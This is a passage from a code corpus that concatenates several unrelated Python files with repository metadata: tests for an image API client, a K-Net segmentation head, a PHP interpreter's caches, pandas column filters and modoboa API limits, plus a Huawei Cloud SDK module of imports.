body_file=None): """Perform a PUT request against the API. :param url: The *path* part of the URL to call (i.e. /v2/images) :param headers: Optional updates to the default set of headers :param data: Optional bytes data payload to send (overrides @json, mutually exclusive with body_file) :param json: Optional dict structure to be jsonified and sent as the payload (mutually exclusive with @data) :param body_file: Optional io.IOBase to provide as the input data stream for the request (overrides @data) :returns: A webob.Response object """ return self.api_request('PUT', url, headers=headers, data=data, json=json, body_file=body_file) def api_delete(self, url, headers=None): """Perform a DELETE request against the API. :param url: The *path* part of the URL to call (i.e. /v2/images) :param headers: Optional updates to the default set of headers :returns: A webob.Response object """ return self.api_request('DELETE', url, heaers=headers)

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null

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6

e6845a6d3fbaef07810fdf01930da0d08838863c

6,292

py

Python

tests/test_models/test_heads/test_knet_head.py

rehohoho/mmsegmentation

a73ae7a421e07741fda62c9d81b335cbc4b7f7d6

[ "Apache-2.0" ]

1

2022-03-07T19:46:03.000Z

tests/test_models/test_heads/test_knet_head.py

rehohoho/mmsegmentation

a73ae7a421e07741fda62c9d81b335cbc4b7f7d6

[ "Apache-2.0" ]

2

2022-02-25T03:07:23.000Z

2022-03-08T12:54:05.000Z

tests/test_models/test_heads/test_knet_head.py

rehohoho/mmsegmentation

a73ae7a421e07741fda62c9d81b335cbc4b7f7d6

[ "Apache-2.0" ]

1

2022-01-04T01:16:12.000Z

# Copyright (c) OpenMMLab. All rights reserved. import torch from mmseg.models.decode_heads.knet_head import (IterativeDecodeHead, KernelUpdateHead) from .utils import to_cuda num_stages = 3 conv_kernel_size = 1 kernel_updator_cfg = dict( type='KernelUpdator', in_channels=16, feat_channels=16, out_channels=16, gate_norm_act=True, activate_out=True, act_cfg=dict(type='ReLU', inplace=True), norm_cfg=dict(type='LN')) def test_knet_head(): # test init function of kernel update head kernel_update_head = KernelUpdateHead( num_classes=150, num_ffn_fcs=2, num_heads=8, num_mask_fcs=1, feedforward_channels=128, in_channels=32, out_channels=32, dropout=0.0, conv_kernel_size=conv_kernel_size, ffn_act_cfg=dict(type='ReLU', inplace=True), with_ffn=True, feat_transform_cfg=dict(conv_cfg=dict(type='Conv2d'), act_cfg=None), kernel_init=True, kernel_updator_cfg=kernel_updator_cfg) kernel_update_head.init_weights() head = IterativeDecodeHead( num_stages=num_stages, kernel_update_head=[ dict( type='KernelUpdateHead', num_classes=150, num_ffn_fcs=2, num_heads=8, num_mask_fcs=1, feedforward_channels=128, in_channels=32, out_channels=32, dropout=0.0, conv_kernel_size=conv_kernel_size, ffn_act_cfg=dict(type='ReLU', inplace=True), with_ffn=True, feat_transform_cfg=dict( conv_cfg=dict(type='Conv2d'), act_cfg=None), kernel_init=False, kernel_updator_cfg=kernel_updator_cfg) for _ in range(num_stages) ], kernel_generate_head=dict( type='FCNHead', in_channels=128, in_index=3, channels=32, num_convs=2, concat_input=True, dropout_ratio=0.1, num_classes=150, align_corners=False)) head.init_weights() inputs = [ torch.randn(1, 16, 27, 32), torch.randn(1, 32, 27, 16), torch.randn(1, 64, 27, 16), torch.randn(1, 128, 27, 16) ] if torch.cuda.is_available(): head, inputs = to_cuda(head, inputs) outputs = head(inputs) assert outputs[-1].shape == (1, head.num_classes, 27, 16) # test whether only return the prediction of # the last stage during testing with torch.no_grad(): head.eval() outputs = head(inputs) assert outputs.shape == (1, head.num_classes, 27, 16) # test K-Net without `feat_transform_cfg` head = IterativeDecodeHead( num_stages=num_stages, kernel_update_head=[ dict( type='KernelUpdateHead', num_classes=150, num_ffn_fcs=2, num_heads=8, num_mask_fcs=1, feedforward_channels=128, in_channels=32, out_channels=32, dropout=0.0, conv_kernel_size=conv_kernel_size, ffn_act_cfg=dict(type='ReLU', inplace=True), with_ffn=True, feat_transform_cfg=None, kernel_updator_cfg=kernel_updator_cfg) for _ in range(num_stages) ], kernel_generate_head=dict( type='FCNHead', in_channels=128, in_index=3, channels=32, num_convs=2, concat_input=True, dropout_ratio=0.1, num_classes=150, align_corners=False)) head.init_weights() inputs = [ torch.randn(1, 16, 27, 32), torch.randn(1, 32, 27, 16), torch.randn(1, 64, 27, 16), torch.randn(1, 128, 27, 16) ] if torch.cuda.is_available(): head, inputs = to_cuda(head, inputs) outputs = head(inputs) assert outputs[-1].shape == (1, head.num_classes, 27, 16) # test K-Net with # self.mask_transform_stride == 2 and self.feat_gather_stride == 1 head = IterativeDecodeHead( num_stages=num_stages, kernel_update_head=[ dict( type='KernelUpdateHead', num_classes=150, num_ffn_fcs=2, num_heads=8, num_mask_fcs=1, feedforward_channels=128, in_channels=32, out_channels=32, dropout=0.0, conv_kernel_size=conv_kernel_size, ffn_act_cfg=dict(type='ReLU', inplace=True), with_ffn=True, feat_transform_cfg=dict( conv_cfg=dict(type='Conv2d'), act_cfg=None), kernel_init=False, mask_transform_stride=2, feat_gather_stride=1, kernel_updator_cfg=kernel_updator_cfg) for _ in range(num_stages) ], kernel_generate_head=dict( type='FCNHead', in_channels=128, in_index=3, channels=32, num_convs=2, concat_input=True, dropout_ratio=0.1, num_classes=150, align_corners=False)) head.init_weights() inputs = [ torch.randn(1, 16, 27, 32), torch.randn(1, 32, 27, 16), torch.randn(1, 64, 27, 16), torch.randn(1, 128, 27, 16) ] if torch.cuda.is_available(): head, inputs = to_cuda(head, inputs) outputs = head(inputs) assert outputs[-1].shape == (1, head.num_classes, 26, 16) # test loss function in K-Net fake_label = torch.ones_like( outputs[-1][:, 0:1, :, :], dtype=torch.int16).long() loss = head.losses(seg_logit=outputs, seg_label=fake_label) assert loss['loss_ce.s0'] != torch.zeros_like(loss['loss_ce.s0']) assert loss['loss_ce.s1'] != torch.zeros_like(loss['loss_ce.s1']) assert loss['loss_ce.s2'] != torch.zeros_like(loss['loss_ce.s2']) assert loss['loss_ce.s3'] != torch.zeros_like(loss['loss_ce.s3'])

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null

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6

fc0a0d7c7ab8132cf7e51cd34672d1d708f3d4d7

2,719

py

Python

testing/test_immut_cache.py

jweinraub/hippyvm

09c7643aaa1c4ade566e8681abd2543f12bf874c

[ "MIT" ]

289

2015-01-01T15:36:55.000Z

2022-03-27T00:22:27.000Z

testing/test_immut_cache.py

jweinraub/hippyvm

09c7643aaa1c4ade566e8681abd2543f12bf874c

[ "MIT" ]

26

2015-01-21T16:34:41.000Z

2020-08-26T15:12:54.000Z

testing/test_immut_cache.py

jweinraub/hippyvm

09c7643aaa1c4ade566e8681abd2543f12bf874c

[ "MIT" ]

35

2015-01-05T12:09:41.000Z

2022-03-16T09:30:16.000Z

from testing.test_interpreter import BaseTestInterpreter import uuid class TestFunctionCache(BaseTestInterpreter): def test_declare_function_call(self): output = self.run(''' function myf2197123($a, $b) { return $a + $b; } echo myf2197123(10, 20); ''') assert self.space.int_w(output[0]) == 30 cell = self.space.global_function_cache.get_cell('myf2197123', object()) assert cell.constant_value_is_currently_declared assert cell.constant_value is cell.currently_declared # output2 = self.run(''' function myf2197123($a, $b) { return $a - $b; } echo myf2197123(100, 20); ''') assert self.space.int_w(output2[0]) == 80 cell2 = self.space.global_function_cache.get_cell('myf2197123', object()) assert cell2 is cell assert not cell2.constant_value_is_currently_declared assert cell2.constant_value is not cell2.currently_declared def test_declare_class(self): class_name = "MyClass%s" % uuid.uuid4().hex class_cache = self.space.global_class_cache self.run("class %s { function f() { return 666;} };" % class_name) cell = class_cache.get_cell(class_name, class_cache.version) assert cell.constant_value_is_currently_declared assert cell.constant_value is cell.currently_declared self.run("class %s { function f() { return 667;} };" % class_name) cell2 = class_cache.get_cell(class_name, class_cache.version) assert cell2 is cell assert not cell2.constant_value_is_currently_declared assert cell2.constant_value is not cell2.currently_declared def test_has_definition(self): output = self.run(''' define('fooBAR', 42); ''') assert self.space.global_constant_cache.has_definition('fooBAR') assert not self.space.global_constant_cache.has_definition('foobar') def test_nonexistent_constant(self): class_name = "MyClass%s" % uuid.uuid4().hex class_cache = self.space.global_class_cache cell = class_cache.get_cell(class_name, class_cache.version) assert cell is None def test_nonexistent_constant_then_defined_later(self): class_name = "MyClass%s" % uuid.uuid4().hex class_cache = self.space.global_class_cache cell = class_cache.get_cell(class_name, class_cache.version) assert cell is None self.run("class %s { function f() { return 666;} };" % class_name) cell = class_cache.get_cell(class_name, class_cache.version) assert cell.constant_value_is_currently_declared assert cell.constant_value is cell.currently_declared

37.763889

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null

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null

0

6

fc3a8ddcefec24db05c6bbc609d3f6f1923eb78d

223

py

Python

cd/modules/voice/checks/__init__.py

Axelware/cd-bot

d9b704d50b86ea25238242ae67c93e447b24636e

[ "MIT" ]

1

2022-03-20T00:53:35.000Z

cd/modules/voice/checks/__init__.py

Axelware/cd-bot

d9b704d50b86ea25238242ae67c93e447b24636e

[ "MIT" ]

1

2022-03-23T18:38:52.000Z

2022-03-23T22:24:53.000Z

cd/modules/voice/checks/__init__.py

Axelware/cd-bot

d9b704d50b86ea25238242ae67c93e447b24636e

[ "MIT" ]

null

# Future from __future__ import annotations # Local from .is_author_connected import * from .is_player_connected import * from .is_player_playing import * from .is_queue_not_empty import * from .is_track_seekable import *

22.3

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0.287425

0.251497

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223

9

35

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1

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1

0

6

fc87e384b5904ae118ad9ad45a0459eaeb134d13

6,244

py

Python

sklearn_pandas/tests/test_Column_Filter.py

toddbenanzer/sklearn_pandas

36e24c55ef4829aa261963201c346869097d4931

[ "MIT" ]

null

sklearn_pandas/tests/test_Column_Filter.py

toddbenanzer/sklearn_pandas

36e24c55ef4829aa261963201c346869097d4931

[ "MIT" ]

null

sklearn_pandas/tests/test_Column_Filter.py

toddbenanzer/sklearn_pandas

36e24c55ef4829aa261963201c346869097d4931

[ "MIT" ]

null

import pytest from sklearn_pandas.transformers.column_filter import * def test_ColumnSelector_all_columns_ColumnSelector(): df = pd.DataFrame({'A': [1, 1, ], 'B': [1, 1, ]}) expected_out = pd.DataFrame({'A': [1, 1, ]}) cs = ColumnSelector(columns=None) pd.testing.assert_frame_equal(df, cs.fit_transform(df)) def test_ColumnSelector_select_columns_ColumnSelector(): df = pd.DataFrame({'A': [1, 1, ], 'B': [1, 1, ]}) expected_out = pd.DataFrame({'A': [1, 1, ]}) cs = ColumnSelector(columns=['A']) pd.testing.assert_frame_equal(expected_out, cs.fit_transform(df)) def test_ColumnSelector_reverse_order_ColumnSelector(): df = pd.DataFrame({'A': [1, 1, ], 'B': [1, 1, ]}) expected_out = pd.DataFrame({'B': [1, 1, ], 'A': [1, 1, ]}) cs = ColumnSelector(columns=['B', 'A']) pd.testing.assert_frame_equal(expected_out, cs.fit_transform(df)) def test_DropColumns_no_columns_DropColumns(): df = pd.DataFrame({'A': [1, 1, ], 'B': [1, 1, ]}) dc = DropColumns(columns=None) pd.testing.assert_frame_equal(df, dc.fit_transform(df)) def test_DropColumns_one_columns_DropColumns(): df = pd.DataFrame({'A': [1, 1, ], 'B': [1, 1, ]}) expected_df = pd.DataFrame({'A': [1, 1, ], }) dc = DropColumns(columns=['B']) pd.testing.assert_frame_equal(expected_df, dc.fit_transform(df)) def test_DropColumns_all_columns_DropColumns(): df = pd.DataFrame({'A': [1, 1, ], 'B': [1, 1, ]}) expected_df = pd.DataFrame({'A': [1, 1, ], }) dc = DropColumns(columns=['A', 'B']) pd.testing.assert_frame_equal( expected_df.drop(columns='A'), dc.fit_transform(df)) def test_ColumnSearchSelect_all_columns_ColumnSearchSelect(): df = pd.DataFrame(columns=['aa', 'ab', 'ba', 'bb', 'cc']) css = ColumnSearchSelect() pd.testing.assert_index_equal(df.columns, css.fit_transform(df).columns) def test_ColumnSearchSelect_a_prefix_ColumnSearchSelect(): df = pd.DataFrame(columns=['aa', 'ab', 'ba', 'bb', 'cc']) expected_df = pd.DataFrame(columns=['aa', 'ab', ]) css = ColumnSearchSelect(prefix='a') pd.testing.assert_index_equal( expected_df.columns, css.fit_transform(df).columns) def test_ColumnSearchSelect_a_suffix_ColumnSearchSelect(): df = pd.DataFrame(columns=['aa', 'ab', 'ba', 'bb', 'cc']) expected_df = pd.DataFrame(columns=['aa', 'ba', ]) css = ColumnSearchSelect(suffix='a') pd.testing.assert_index_equal( expected_df.columns, css.fit_transform(df).columns) def test_UniqueValueFilter_keep_all_UniqueValueFilter(): df = pd.DataFrame({'A': [1, 1, ], 'B': [1, 2, ]}) uvf = UniqueValueFilter(min_unique_values=1) pd.testing.assert_frame_equal(df, uvf.fit_transform(df)) def test_UniqueValueFilter_keep_some_UniqueValueFilter(): df = pd.DataFrame({'A': [1, 1, ], 'B': [1, 2, ]}) expected_df = pd.DataFrame({'B': [1, 2, ]}) uvf = UniqueValueFilter(min_unique_values=2) pd.testing.assert_frame_equal(expected_df, uvf.fit_transform(df)) def test_UniqueValueFilter_keep_none_UniqueValueFilter(): df = pd.DataFrame({'A': [1, 1, ], 'B': [1, 2, ]}) expected_df = pd.DataFrame({'B': [1, 2, ]}).drop(columns='B') uvf = UniqueValueFilter(min_unique_values=3) pd.testing.assert_frame_equal(expected_df, uvf.fit_transform(df)) def test_selector_numerics_ColumnByType(): df = pd.DataFrame( {'A': [1, 1, ], 'B': ['a', 'b', ], 'C': [True, False, ], }) expected_df = pd.DataFrame({'A': [1, 1, ]}) filter = ColumnByType(numerics=True) pd.testing.assert_frame_equal(expected_df, filter.fit_transform(df)) def test_selector_strings_ColumnByType(): df = pd.DataFrame( {'A': [1, 1, ], 'B': ['a', 'b', ], 'C': [True, False, ], }) expected_df = pd.DataFrame({'B': ['a', 'b', ], }) filter = ColumnByType(strings=True) pd.testing.assert_frame_equal(expected_df, filter.fit_transform(df)) def test_selector_booleans_ColumnByType(): df = pd.DataFrame( {'A': [1, 1, ], 'B': ['a', 'b', ], 'C': [True, False, ], }) expected_df = pd.DataFrame({'C': [True, False, ], }) filter = ColumnByType(booleans=True) pd.testing.assert_frame_equal(expected_df, filter.fit_transform(df)) def test_UniqueValueFilter_base_CorrelationFilter(): df = pd.DataFrame({ 'A': [1, 2, 3, 4, 5, ], 'B': [1, 2, 3, 4, 4, ], 'C': [1, 2, 3, 4, 4, ], 'D': [1, 2, 3, 3, 3, ], 'E': [5, 2, 1, 4, 3, ], }) expected_df = pd.DataFrame({ 'A': [1, 2, 3, 4, 5, ], 'D': [1, 2, 3, 3, 3, ], 'E': [5, 2, 1, 4, 3, ], }) filter = CorrelationFilter() pd.testing.assert_frame_equal(expected_df, filter.fit_transform(df)) def test_UniqueValueFilter_spearman_CorrelationFilter(): df = pd.DataFrame({ 'A': [1, 2, 3, 4, 5, ], 'B': [1, 2, 3, 4, 4, ], 'C': [1, 2, 3, 4, 4, ], 'D': [1, 2, 3, 3, 3, ], 'E': [5, 2, 1, 4, 3, ], }) expected_df = pd.DataFrame({ 'A': [1, 2, 3, 4, 5, ], 'D': [1, 2, 3, 3, 3, ], 'E': [5, 2, 1, 4, 3, ], }) filter = CorrelationFilter(method='spearman') pd.testing.assert_frame_equal(expected_df, filter.fit_transform(df)) def test_basic_function_PandasSelectKBest(): X = pd.DataFrame({ 'A': [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, ], 'B': [1, 2, 3, 4, 5, 5, 4, 3, 2, 1, ], 'C': [1, 2, 3, 4, 2, 3, 4, 3, 2, 1, ], }) y = pd.DataFrame({ 'y': [0, 1, 2, 1, 0, 1, 2, 1, 0, 1], }) expected_df = pd.DataFrame({ 'B': [1, 2, 3, 4, 5, 5, 4, 3, 2, 1, ], 'C': [1, 2, 3, 4, 2, 3, 4, 3, 2, 1, ], }) filter = PandasSelectKBest(k=2) pd.testing.assert_frame_equal(expected_df, filter.fit_transform(X, y)) def test_basic_function_one_var_PandasSelectKBest(): X = pd.DataFrame({ 'A': [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, ], 'B': [1, 2, 3, 4, 5, 5, 4, 3, 2, 1, ], 'C': [1, 2, 3, 4, 2, 3, 4, 3, 2, 1, ], }) y = pd.DataFrame({ 'y': [0, 1, 2, 1, 0, 1, 2, 1, 0, 1], }) expected_df = pd.DataFrame({ 'C': [1, 2, 3, 4, 2, 3, 4, 3, 2, 1, ], }) filter = PandasSelectKBest(k=1) pd.testing.assert_frame_equal(expected_df, filter.fit_transform(X, y))

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0

6

fc92c7a83f311e4931133f7b99ae4f2015d176cb

9,561

py

Python

huaweicloud-sdk-cce/huaweicloudsdkcce/v3/model/__init__.py

wuchen-huawei/huaweicloud-sdk-python-v3

3683d703f4320edb2b8516f36f16d485cff08fc2

[ "Apache-2.0" ]

null

huaweicloud-sdk-cce/huaweicloudsdkcce/v3/model/__init__.py

wuchen-huawei/huaweicloud-sdk-python-v3

3683d703f4320edb2b8516f36f16d485cff08fc2

[ "Apache-2.0" ]

null

huaweicloud-sdk-cce/huaweicloudsdkcce/v3/model/__init__.py

wuchen-huawei/huaweicloud-sdk-python-v3

3683d703f4320edb2b8516f36f16d485cff08fc2

[ "Apache-2.0" ]

null

# coding: utf-8 from __future__ import absolute_import # import models into model package from huaweicloudsdkcce.v3.model.addon_instance import AddonInstance from huaweicloudsdkcce.v3.model.addon_instance_status import AddonInstanceStatus from huaweicloudsdkcce.v3.model.addon_template import AddonTemplate from huaweicloudsdkcce.v3.model.authenticating_proxy import AuthenticatingProxy from huaweicloudsdkcce.v3.model.authentication import Authentication from huaweicloudsdkcce.v3.model.awake_cluster_request import AwakeClusterRequest from huaweicloudsdkcce.v3.model.awake_cluster_response import AwakeClusterResponse from huaweicloudsdkcce.v3.model.cce_cluster_node_information import CCEClusterNodeInformation from huaweicloudsdkcce.v3.model.cce_cluster_node_information_metadata import CCEClusterNodeInformationMetadata from huaweicloudsdkcce.v3.model.cce_job import CCEJob from huaweicloudsdkcce.v3.model.cce_job_metadata import CCEJobMetadata from huaweicloudsdkcce.v3.model.cce_job_spec import CCEJobSpec from huaweicloudsdkcce.v3.model.cce_job_status import CCEJobStatus from huaweicloudsdkcce.v3.model.cert_duration import CertDuration from huaweicloudsdkcce.v3.model.cluster_cert import ClusterCert from huaweicloudsdkcce.v3.model.cluster_endpoints import ClusterEndpoints from huaweicloudsdkcce.v3.model.cluster_information import ClusterInformation from huaweicloudsdkcce.v3.model.cluster_information_spec import ClusterInformationSpec from huaweicloudsdkcce.v3.model.cluster_metadata import ClusterMetadata from huaweicloudsdkcce.v3.model.cluster_status import ClusterStatus from huaweicloudsdkcce.v3.model.clusters import Clusters from huaweicloudsdkcce.v3.model.container_network import ContainerNetwork from huaweicloudsdkcce.v3.model.context import Context from huaweicloudsdkcce.v3.model.contexts import Contexts from huaweicloudsdkcce.v3.model.create_addon_instance_request import CreateAddonInstanceRequest from huaweicloudsdkcce.v3.model.create_addon_instance_response import CreateAddonInstanceResponse from huaweicloudsdkcce.v3.model.create_cloud_persistent_volume_claims_request import CreateCloudPersistentVolumeClaimsRequest from huaweicloudsdkcce.v3.model.create_cloud_persistent_volume_claims_response import CreateCloudPersistentVolumeClaimsResponse from huaweicloudsdkcce.v3.model.create_cluster_request import CreateClusterRequest from huaweicloudsdkcce.v3.model.create_cluster_response import CreateClusterResponse from huaweicloudsdkcce.v3.model.create_kubernetes_cluster_cert_request import CreateKubernetesClusterCertRequest from huaweicloudsdkcce.v3.model.create_kubernetes_cluster_cert_response import CreateKubernetesClusterCertResponse from huaweicloudsdkcce.v3.model.create_node_pool_request import CreateNodePoolRequest from huaweicloudsdkcce.v3.model.create_node_pool_response import CreateNodePoolResponse from huaweicloudsdkcce.v3.model.create_node_request import CreateNodeRequest from huaweicloudsdkcce.v3.model.create_node_response import CreateNodeResponse from huaweicloudsdkcce.v3.model.delete_addon_instance_request import DeleteAddonInstanceRequest from huaweicloudsdkcce.v3.model.delete_addon_instance_response import DeleteAddonInstanceResponse from huaweicloudsdkcce.v3.model.delete_cloud_persistent_volume_claims_request import DeleteCloudPersistentVolumeClaimsRequest from huaweicloudsdkcce.v3.model.delete_cloud_persistent_volume_claims_response import DeleteCloudPersistentVolumeClaimsResponse from huaweicloudsdkcce.v3.model.delete_cluster_request import DeleteClusterRequest from huaweicloudsdkcce.v3.model.delete_cluster_response import DeleteClusterResponse from huaweicloudsdkcce.v3.model.delete_node_pool_request import DeleteNodePoolRequest from huaweicloudsdkcce.v3.model.delete_node_pool_response import DeleteNodePoolResponse from huaweicloudsdkcce.v3.model.delete_node_request import DeleteNodeRequest from huaweicloudsdkcce.v3.model.delete_node_response import DeleteNodeResponse from huaweicloudsdkcce.v3.model.delete_status import DeleteStatus from huaweicloudsdkcce.v3.model.eni_network import EniNetwork from huaweicloudsdkcce.v3.model.hibernate_cluster_request import HibernateClusterRequest from huaweicloudsdkcce.v3.model.hibernate_cluster_response import HibernateClusterResponse from huaweicloudsdkcce.v3.model.host_network import HostNetwork from huaweicloudsdkcce.v3.model.instance_request import InstanceRequest from huaweicloudsdkcce.v3.model.instance_request_spec import InstanceRequestSpec from huaweicloudsdkcce.v3.model.instance_spec import InstanceSpec from huaweicloudsdkcce.v3.model.list_addon_instances_request import ListAddonInstancesRequest from huaweicloudsdkcce.v3.model.list_addon_instances_response import ListAddonInstancesResponse from huaweicloudsdkcce.v3.model.list_addon_templates_request import ListAddonTemplatesRequest from huaweicloudsdkcce.v3.model.list_addon_templates_response import ListAddonTemplatesResponse from huaweicloudsdkcce.v3.model.list_clusters_request import ListClustersRequest from huaweicloudsdkcce.v3.model.list_clusters_response import ListClustersResponse from huaweicloudsdkcce.v3.model.list_node_pools_request import ListNodePoolsRequest from huaweicloudsdkcce.v3.model.list_node_pools_response import ListNodePoolsResponse from huaweicloudsdkcce.v3.model.list_nodes_request import ListNodesRequest from huaweicloudsdkcce.v3.model.list_nodes_response import ListNodesResponse from huaweicloudsdkcce.v3.model.login import Login from huaweicloudsdkcce.v3.model.master_spec import MasterSpec from huaweicloudsdkcce.v3.model.metadata import Metadata from huaweicloudsdkcce.v3.model.nic_spec import NicSpec from huaweicloudsdkcce.v3.model.node_management import NodeManagement from huaweicloudsdkcce.v3.model.node_metadata import NodeMetadata from huaweicloudsdkcce.v3.model.node_nic_spec import NodeNicSpec from huaweicloudsdkcce.v3.model.node_pool import NodePool from huaweicloudsdkcce.v3.model.node_pool_metadata import NodePoolMetadata from huaweicloudsdkcce.v3.model.node_pool_node_autoscaling import NodePoolNodeAutoscaling from huaweicloudsdkcce.v3.model.node_pool_spec import NodePoolSpec from huaweicloudsdkcce.v3.model.node_pool_status import NodePoolStatus from huaweicloudsdkcce.v3.model.persistent_volume_claim import PersistentVolumeClaim from huaweicloudsdkcce.v3.model.persistent_volume_claim_metadata import PersistentVolumeClaimMetadata from huaweicloudsdkcce.v3.model.persistent_volume_claim_spec import PersistentVolumeClaimSpec from huaweicloudsdkcce.v3.model.persistent_volume_claim_status import PersistentVolumeClaimStatus from huaweicloudsdkcce.v3.model.resource_requirements import ResourceRequirements from huaweicloudsdkcce.v3.model.resource_tag import ResourceTag from huaweicloudsdkcce.v3.model.runtime import Runtime from huaweicloudsdkcce.v3.model.show_addon_instance_request import ShowAddonInstanceRequest from huaweicloudsdkcce.v3.model.show_addon_instance_response import ShowAddonInstanceResponse from huaweicloudsdkcce.v3.model.show_cluster_metadata import ShowClusterMetadata from huaweicloudsdkcce.v3.model.show_cluster_request import ShowClusterRequest from huaweicloudsdkcce.v3.model.show_cluster_response import ShowClusterResponse from huaweicloudsdkcce.v3.model.show_job_request import ShowJobRequest from huaweicloudsdkcce.v3.model.show_job_response import ShowJobResponse from huaweicloudsdkcce.v3.model.show_node_pool_request import ShowNodePoolRequest from huaweicloudsdkcce.v3.model.show_node_pool_response import ShowNodePoolResponse from huaweicloudsdkcce.v3.model.show_node_request import ShowNodeRequest from huaweicloudsdkcce.v3.model.show_node_response import ShowNodeResponse from huaweicloudsdkcce.v3.model.support_versions import SupportVersions from huaweicloudsdkcce.v3.model.taint import Taint from huaweicloudsdkcce.v3.model.templatespec import Templatespec from huaweicloudsdkcce.v3.model.update_addon_instance_request import UpdateAddonInstanceRequest from huaweicloudsdkcce.v3.model.update_addon_instance_response import UpdateAddonInstanceResponse from huaweicloudsdkcce.v3.model.update_cluster_request import UpdateClusterRequest from huaweicloudsdkcce.v3.model.update_cluster_response import UpdateClusterResponse from huaweicloudsdkcce.v3.model.update_node_pool_request import UpdateNodePoolRequest from huaweicloudsdkcce.v3.model.update_node_pool_response import UpdateNodePoolResponse from huaweicloudsdkcce.v3.model.update_node_request import UpdateNodeRequest from huaweicloudsdkcce.v3.model.update_node_response import UpdateNodeResponse from huaweicloudsdkcce.v3.model.user import User from huaweicloudsdkcce.v3.model.user_password import UserPassword from huaweicloudsdkcce.v3.model.user_tag import UserTag from huaweicloudsdkcce.v3.model.users import Users from huaweicloudsdkcce.v3.model.v3_cluster import V3Cluster from huaweicloudsdkcce.v3.model.v3_cluster_spec import V3ClusterSpec from huaweicloudsdkcce.v3.model.v3_node import V3Node from huaweicloudsdkcce.v3.model.v3_node_bandwidth import V3NodeBandwidth from huaweicloudsdkcce.v3.model.v3_node_create_request import V3NodeCreateRequest from huaweicloudsdkcce.v3.model.v3_node_eip_spec import V3NodeEIPSpec from huaweicloudsdkcce.v3.model.v3_node_public_ip import V3NodePublicIP from huaweicloudsdkcce.v3.model.v3_node_spec import V3NodeSpec from huaweicloudsdkcce.v3.model.v3_node_status import V3NodeStatus from huaweicloudsdkcce.v3.model.v3_volume import V3Volume from huaweicloudsdkcce.v3.model.versions import Versions from huaweicloudsdkcce.v3.model.volume_metadata import VolumeMetadata

75.283465

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1,096

9,561

7.713504

0.169708

0.300568

0.329193

0.400757

0.492075

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0.054412

0.028862

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9,561

126

128

75.880952

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0

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0

1

0

1

0

1

0

6

5d7c99a7d5a6fd6a64c5b7a7fa3886bc5a020ddd

9,373

py

Python

modoboa/limits/tests/test_api.py

vinaebizs/modoboa

fb1e7f4c023b7eb6be3aa77174bfa12fc653670e

[ "0BSD" ]

null

modoboa/limits/tests/test_api.py

vinaebizs/modoboa

fb1e7f4c023b7eb6be3aa77174bfa12fc653670e

[ "0BSD" ]

null

modoboa/limits/tests/test_api.py

vinaebizs/modoboa

fb1e7f4c023b7eb6be3aa77174bfa12fc653670e

[ "0BSD" ]

null

# coding: utf-8 """Test cases for the limits extension.""" from django.core.urlresolvers import reverse from rest_framework.authtoken.models import Token from modoboa.admin.factories import populate_database from modoboa.admin.models import Domain from modoboa.core import factories as core_factories from modoboa.core.models import User from modoboa.lib import parameters from modoboa.lib import tests as lib_tests from .. import utils class APIAdminLimitsTestCase(lib_tests.ModoAPITestCase): """Check that limits are used also by the API.""" @classmethod def setUpTestData(cls): """Create test data.""" super(APIAdminLimitsTestCase, cls).setUpTestData() for name, tpl in utils.get_user_limit_templates(): parameters.save_admin( "DEFLT_USER_{}_LIMIT".format(name.upper()), 2) populate_database() cls.user = User.objects.get(username="admin@test.com") cls.da_token = Token.objects.create(user=cls.user) cls.reseller = core_factories.UserFactory( username="reseller", groups=("Resellers", ), ) cls.r_token = Token.objects.create(user=cls.reseller) def test_domadmins_limit(self): """Check domain admins limit.""" self.client.credentials( HTTP_AUTHORIZATION='Token ' + self.r_token.key) limit = self.reseller.userobjectlimit_set.get(name="domain_admins") url = reverse("external_api:account-list") data = { "username": "fromapi@test.com", "role": "DomainAdmins", "password": "Toto1234", } response = self.client.post(url, data, format="json") self.assertEqual(response.status_code, 201) self.assertFalse(limit.is_exceeded()) data["username"] = "fromapi2@test.com" response = self.client.post(url, data, format="json") self.assertEqual(response.status_code, 201) self.assertTrue(limit.is_exceeded()) data["username"] = "fromapi3@test.com" response = self.client.post(url, data, format="json") self.assertEqual(response.status_code, 400) user = User.objects.get(username="user@test.com") domain = Domain.objects.get(name="test.com") domain.add_admin(self.reseller) url = reverse("external_api:account-detail", args=[user.pk]) data = { "username": user.username, "role": "DomainAdmins", "password": "Toto1234", "mailbox": { "full_address": user.username, "quota": user.mailbox.quota } } response = self.client.put(url, data, format="json") self.assertEqual(response.status_code, 400) def test_domains_limit(self): """Check domains limit.""" self.client.credentials( HTTP_AUTHORIZATION='Token ' + self.r_token.key) limit = self.reseller.userobjectlimit_set.get(name="domains") url = reverse("external_api:domain-list") data = {"name": "test3.com", "quota": 10} response = self.client.post(url, data, format="json") self.assertEqual(response.status_code, 201) self.assertFalse(limit.is_exceeded()) data["name"] = "test4.com" response = self.client.post(url, data, format="json") self.assertEqual(response.status_code, 201) self.assertTrue(limit.is_exceeded()) data["username"] = "test5.com" response = self.client.post(url, data, format="json") self.assertEqual(response.status_code, 400) def test_domain_aliases_limit(self): """Check domain aliases limit.""" self.client.credentials( HTTP_AUTHORIZATION='Token ' + self.r_token.key) domain = Domain.objects.get(name="test.com") domain.add_admin(self.reseller) limit = self.reseller.userobjectlimit_set.get(name="domain_aliases") url = reverse("external_api:domain_alias-list") data = {"name": "dalias1.com", "target": domain.pk} response = self.client.post(url, data, format="json") self.assertEqual(response.status_code, 201) self.assertFalse(limit.is_exceeded()) data["name"] = "dalias2.com" response = self.client.post(url, data, format="json") self.assertEqual(response.status_code, 201) self.assertTrue(limit.is_exceeded()) data["username"] = "dalias3.com" response = self.client.post(url, data, format="json") self.assertEqual(response.status_code, 400) def test_mailboxes_limit(self): """Check mailboxes limit.""" self.client.credentials( HTTP_AUTHORIZATION='Token ' + self.da_token.key) limit = self.user.userobjectlimit_set.get(name="mailboxes") url = reverse("external_api:account-list") data = { "username": "fromapi@test.com", "role": "SimpleUsers", "password": "Toto1234", "mailbox": { "full_address": "fromapi@test.com", "quota": 10 } } response = self.client.post(url, data, format="json") self.assertEqual(response.status_code, 201) self.assertFalse(limit.is_exceeded()) data["username"] = "fromapi2@test.com" data["mailbox"]["full_address"] = "fromapi2@test.com" response = self.client.post(url, data, format="json") self.assertEqual(response.status_code, 201) self.assertTrue(limit.is_exceeded()) data["username"] = "fromapi3@test.com" data["mailbox"]["full_address"] = "fromapi3@test.com" response = self.client.post(url, data, format="json") self.assertEqual(response.status_code, 400) def test_aliases_limit(self): 